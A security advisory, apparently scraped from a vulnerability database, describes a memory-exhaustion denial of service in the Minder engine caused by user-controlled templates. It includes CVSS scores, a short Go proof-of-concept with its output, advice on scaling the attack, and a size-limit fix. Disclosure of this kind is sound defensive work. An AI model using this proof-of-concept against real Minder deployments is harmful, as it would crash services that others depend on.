CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
9.0%
Minder engine is susceptible to a denial of service from memory exhaustion that can be triggered from maliciously created templates.
Minder engine uses templating to generate strings for various use cases such as URLs, messages for pull requests, descriptions for advisories. In some cases can the user control both the template and the params for it, and in a subset of these cases, Minder reads the generated template entirely into memory. When Minders templating meets both of these conditions, an attacker is able to generate large enough templates that Minder will exhaust memory and crash.
One of these places is the REST ingester:
With control over both endpoint and retp
on the following line:
ā¦ an attacker can make Minder generate a large template that Minder reads into memory on the following line by invoking endpoint.String()
:
Consider this example:
package main
import (
"fmt"
"html/template"
"os"
)
type EndpointTemplateParams struct {
// Params are the parameters to be used in the template
Params map[string]any
}
func main() {
retp := &EndpointTemplateParams{
Params: map[string]any{
"params": make([]string, 10),
},
}
fmt.Println(retp)
const templ = `
{{range $idx, $e := .Params.params}}
loooooooooooooooooooooooooooooooong-string-{{$idx}}
{{end}}
{{range $idx, $e := .Params.params}}
loooooooooooooooooooooooooooooooong-string-{{$idx}}
{{end}}
{{range $idx, $e := .Params.params}}
loooooooooooooooooooooooooooooooong-string-{{$idx}}
{{end}}`
tmpl := template.Must(template.New("").Parse(templ))
if err := tmpl.Execute(os.Stdout, retp); err != nil {
panic(err)
}
}
This example imitates the behavior on these lines:
Running this example generates the following template:
loooooooooooooooooooooooooooooooong-string-0
loooooooooooooooooooooooooooooooong-string-1
loooooooooooooooooooooooooooooooong-string-2
loooooooooooooooooooooooooooooooong-string-3
loooooooooooooooooooooooooooooooong-string-4
loooooooooooooooooooooooooooooooong-string-5
loooooooooooooooooooooooooooooooong-string-6
loooooooooooooooooooooooooooooooong-string-7
loooooooooooooooooooooooooooooooong-string-8
loooooooooooooooooooooooooooooooong-string-9
loooooooooooooooooooooooooooooooong-string-0
loooooooooooooooooooooooooooooooong-string-1
loooooooooooooooooooooooooooooooong-string-2
loooooooooooooooooooooooooooooooong-string-3
loooooooooooooooooooooooooooooooong-string-4
loooooooooooooooooooooooooooooooong-string-5
loooooooooooooooooooooooooooooooong-string-6
loooooooooooooooooooooooooooooooong-string-7
loooooooooooooooooooooooooooooooong-string-8
loooooooooooooooooooooooooooooooong-string-9
loooooooooooooooooooooooooooooooong-string-0
loooooooooooooooooooooooooooooooong-string-1
loooooooooooooooooooooooooooooooong-string-2
loooooooooooooooooooooooooooooooong-string-3
loooooooooooooooooooooooooooooooong-string-4
loooooooooooooooooooooooooooooooong-string-5
loooooooooooooooooooooooooooooooong-string-6
loooooooooooooooooooooooooooooooong-string-7
loooooooooooooooooooooooooooooooong-string-8
loooooooooooooooooooooooooooooooong-string-9
A malicious user can call the loop more times, increase the loop count and/or make the repeated long string longer to make the size of the template bigger.
A sufficiently large template will consume a lot of memory on this line which will exhaust memory on the machine and crash the Minder server:
Minder should enforce a limit to generated templates before reading them into memory.
The following templates are believed to be vulnerable:
Minder has a few other templates especially in its engine which needs reviewing too. As a default, all templates should be limited in size before Minder reads them into memory.
CVSS3
Attack Vector
NETWORK
Attack Complexity
HIGH
Privileges Required
LOW
User Interaction
NONE
Scope
UNCHANGED
Confidentiality Impact
NONE
Integrity Impact
NONE
Availability Impact
HIGH
CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:H
AI Score
Confidence
High
EPSS
Percentile
9.0%